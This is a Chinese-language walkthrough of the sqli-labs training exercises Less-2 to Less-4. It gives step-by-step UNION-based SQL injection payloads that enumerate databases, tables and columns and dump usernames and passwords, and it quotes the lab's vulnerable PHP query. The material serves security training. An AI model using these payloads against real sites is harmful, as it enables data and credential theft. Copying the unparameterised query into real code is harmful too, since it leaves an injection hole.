Less-2
报错注入测试注入点:/Less-2/?id=1' (只要能让sql报错就行)
发现有LIMIT 0,1,即说明只有一个输出,下面判断要把id项设置为0或不存在,避免占用输出
/Less-2/?id=-1 or 1=1 //有输出
/Less-2/?id=-1 or 1=2 //无输出
判断可以正确执行sql代码
判断列数:/Less-2/?id=1 order by 3# 超过3会报错,判断为3列
测试输出点:/Less-2/?id=-1 union select 1,2,3 --+
爆当前数据库:/Less-2/?id=-1 union select 1,database(),3 --+
爆所有数据库库名:/Less-2/?id=-1 union select 1,group_concat(schema_name),3 from information_schema.schemata--+
爆表名:/?id=-1 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security'--+
爆列名:/Less-2/?id=-1 union select 1,group_concat(column_name),3 from information_schema.columns where table_schema='security' and table_name='users'--+
查数据:/Less-2/?id=-1 union select 1,group_concat(username),group_concat(password) from users--+
//源码
$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";
$result=mysql_query($sql);
Less-3
单引号报错,双引号返回正常,那么我们看报错信息,如下图:
报错信息显示在 ''1'') LIMIT 0,1' 处有语法错误,可以看到参数还被一个括号包裹,那么我们闭合就好,然后直接爆数据,payload如下:
闭合:http://192.168.237.1/sqli-labs/Less-3/?id=1')--+
数据库名:http://192.168.237.1/sqli-labs/Less-3/?id=-1') union select 1,database(),3--+
表名:http://192.168.237.1/sqli-labs/Less-3/?id=-1') union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security'--+
字段名:http://192.168.237.1/sqli-labs/Less-3/?id=-1') union select 1,group_concat(column_name),3 from information_schema.columns where table_schema='security'--+
username/password值:http://192.168.237.1/sqli-labs/Less-3/?id=-1') union select 1,group_concat(username/password),3 from security.users--+
Less-4
单引号不报错,双引号报错,看报错信息,如下图:
报错信息显示在'"1"") LIMIT 0,1'处,有语法错误,可以看到参数被一个括号包裹,和上一题是一样的,只是单引号换成了双引号,我们同样闭合就好:
http://192.168.237.1/sqli-labs/Less-4/?id=1")--+
然后直接爆数据,payload参照上面一题,把单引号换成双引号就可以。